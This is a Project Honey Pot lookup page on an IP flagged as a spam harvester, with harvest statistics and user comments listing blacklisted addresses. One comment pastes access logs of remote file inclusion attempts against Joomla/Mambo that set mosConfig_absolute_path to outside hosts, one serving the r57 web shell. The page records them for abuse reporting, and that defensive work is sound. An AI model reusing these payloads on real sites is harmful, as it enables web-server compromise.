IP Address Inspector
| ATTENTION |
|
62.194.97.158 
The Project Honey Pot system has detected behavior from the IP address consistent with that of a spam harvester. Below we've reported some other data associated with this IP. This interrelated data helps map spammers' networks and aids in law enforcement efforts. If you know something about this IP, please leave a comment.
Lookup IP In: Domain Tools | SpamHaus | Spamcop | SenderBase | Google Groups | Google
| Geographic Location |
Netherlands
('t Nopeind, Noord-Holland)
|
| Harvester First Seen | approximately 4 years, 10 months, 2 weeks ago |
| Harvester Last Seen | within 4 years, 4 months, 4 weeks |
| Harvester Sightings | 694 visit(s) to 185 honey pot(s) |
| Harvester Results |
2.575 messages per visit 1,787 message(s) resulting from harvests - First: approximately 4 years, 8 months, 3 weeks ago - Last: approximately 3 years, 11 months, 2 weeks ago 4,959 email address(es) harvested - First: approximately 4 years, 10 months, 2 weeks ago - Last: Sun, 16 Sep 2007 13:33:54 -0700 |
| Time From Harvest To First Spam |
Fastest: 55 mins, 54 secs Slowest: 1 month, 1 week, 22 hours, 55 mins, 47 secs Average: 2 days, 9 hours, 16 secs Std Dev: 5 days, 16 hours, 52 mins, 59 secs |
|
4 comment(s) - Comment on this IP | Collapse All
|
|
P.Hauser commented...
UCEPROTECT-Level-1 blacklisted:
12.176.188.220 12.176.188.80 24.182.116.164 24.182.116.39 24.218.121.114 24.56.168.165 62.194.97.10 64.33.235.120 64.83.1.51 UCEPROTECT-Level-2 blacklisted: 24.182.116.0/24 September 10 2007 05:16 AM |
|
P.Hauser commented...
64.83.1.0/24 Listed at APEWS-L2
------------------------------- 64.83.1.51 is currently listed in APEWS : Entry matching your Query: E-172568 64.83.1.0/24 CASE: C-82 IP space of "hot" UCE/UBE operations per NANAS, NANAE, UCEtraps & published statistics Special Reason: per NANAS, NANAE, UCEtraps, MTA headers continued abuse / abuse volume = escalation ultimately, all your ASN[s] will be listed History: Entry created 2007-05-18 66.7.193.179 Listed at APEWS-L2 ------------------------------- 66.7.193.179 is currently listed in APEWS : Entry matching your Query: E-214208 66.7.193.179 CASE: C-82 IP space of "hot" UCE/UBE operations per NANAS, NANAE, UCEtraps & published statistics Special Reason: If your IP address is listed, go to Google Groups and search for your criteria in news.admin.net-abuse.sightings for evidence of your problem, you are causing abuse. If your IP address is NOT listed but is part of a larger IP listing, only the block owner can solve the problem, contact your ISP, see FAQ 16. Your ISP needs to action FAQ 42 History: Entry created 2007-06-14 62.193.228.0/24 Listed at APEWS-L2 ---------------------------------- 62.193.228.196 is currently listed in APEWS : Entry matching your Query: E-235312 62.193.228.0/24 CASE: C-137 SANS Internet Storm Center attack sources Special Reason: http://isc.incidents.org/sources.html Seems you are hosting attack bot[s] History: Entry created 2007-07-06 65.23.160.0/19 Listed at APEWS-L2 --------------------------------- 65.23.160.32 is currently listed in APEWS : Entry matching your Query: E-280779 65.23.160.0/19 CASE: C-130 One or more bots in ASN / CIDR, unprofessional / negligent owner Special Reason: Only the ASN/CIDR owner can solve this listing by actioning FAQ 42 apews.org SHUTDOWN BOTS, ZOMBIES, NET ABUSE History: Entry created 2007-08-03 September 10 2007 05:15 AM |
|
P.Hauser commented...
From neighborhood-IPs of two of the assoc. mail-servers (66.7.193.179 + 62.193.228.196) we had recently insane GLOBAL-OVERRIDE-attacks:
66.7.193.90 - - [16/Aug/2007:08:59:57 +0200] "GET /index.php? _REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://xxxxxxx.net/c? HTTP/1.1" 302 223 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:08:59:57 +0200] "GET /index.php HTTP/1.1" 301 1036 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:08:59:59 +0200] "GET / HTTP/1.1" 403 13 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:19:50 +0200] "GET /index.php?lang=es/index.php? _REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://xxxxxxx.net/c? HTTP/1.1" 302 223 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:19:51 +0200] "GET /index.php HTTP/1.1" 301 1036 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:19:53 +0200] "GET / HTTP/1.1" 403 13 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:19:59 +0200] "GET /index.php?lang=en/index.php? _REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://xxxxxxx.net/c? HTTP/1.1" 302 223 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:19:59 +0200] "GET /index.php HTTP/1.1" 301 1036 "-" "libwww-perl/5.79" 66.7.193.90 - - [16/Aug/2007:09:20:00 +0200] "GET / HTTP/1.1" 403 13 "-" "libwww-perl/5.79" 62.193.228.59 - - [10/May/2007:01:08:03 +0200] "GET /index.php? _REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS= &mosConfig_absolute_path=http://www.xxxxxxxxxxxxxxxxxxx.it/flash/r57.txt?? HTTP/1.1" 302 223 "-" "libwww-perl/5.79" 62.193.228.59 - - [10/May/2007:01:08:03 +0200] "GET /index.php HTTP/1.1" 301 5 "-" "libwww-perl/5.79" September 10 2007 05:14 AM |
|
P.Hauser commented...
IP 62.194.97.158 hit here two times last year:
62.194.97.158 - - [03/Nov/2006:14:38:53 +0100] "GET / HTTP/1.1" 302 214 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" 62.194.97.158 - - [03/Nov/2006:14:38:55 +0100] "GET / HTTP/1.1" 200 66560 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" July 31 2007 12:09 AM |
Page generated on: February 13 2012 05:26:07 PM
Please note: being listed on these pages does not necessarily mean an IP address, domain name, or any other information is owned by a spammer. For example, it may have been hijacked from its true owner and used by a spammer.
Want to keep this IP address off your website? Start taking advantage of http:BL.
If you are the owner of this IP address, you can whitelist it by connecting to this paged from the IP itself (or from an IP within /24). Alternatively, the IP will be auto excused after 90 days of no activity.
Privacy Policy | Terms of Use | About Project Honey Pot | FAQ | CloudFlare Site Protection | Contact Us
Copyright © 2004–12, Unspam Technologies, Inc. All rights reserved.
Advertisements displayed on this page are not necessarily endorsed by Project Honey Pot